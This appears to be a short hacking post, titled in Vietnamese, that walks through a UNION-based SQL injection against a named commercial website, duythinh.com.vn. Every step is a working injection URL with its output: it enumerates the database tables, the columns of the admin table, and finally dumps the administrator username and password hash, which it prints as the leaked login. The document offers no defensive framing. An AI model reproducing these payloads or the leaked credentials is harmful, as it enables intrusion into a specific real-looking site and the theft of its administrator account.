CODE HACK WEB LOI SQL INJECTION

http://www.duythinh.com.vn/?do=product&id=-48 /*!UNION SELECT*/ 1,2,3,4,group_concat(/*!table_name*/),6,7,8,9 from information_schema.tables where table_schema=database()-- -

"orderdetail,orders,procate,product,tt_admin,tt_careers,tt_flash,tt_info1,tt_introduction,tt_links,tt_partners"

http://www.duythinh.com.vn/?do=product&id=-48 /*!UNION SELECT*/ 1,2,3,4,group_concat(/*!column_name*/),6,7,8,9 from information_schema.columns where /*!table_name*/=0x74745f61646d696e-- -

"id,username,password,email,right"

http://www.duythinh.com.vn/?do=product&id=-48 /*!UNION SELECT*/ 1,2,3,4,group_concat(username,0x7c,password),6,7,8,9 from tt_admin-- -

"duythinh|253b566ad31536efa0dcd5b5fb284ab5"

ID: duythinh
Pass: 253b566ad31536efa0dcd5b5fb284ab5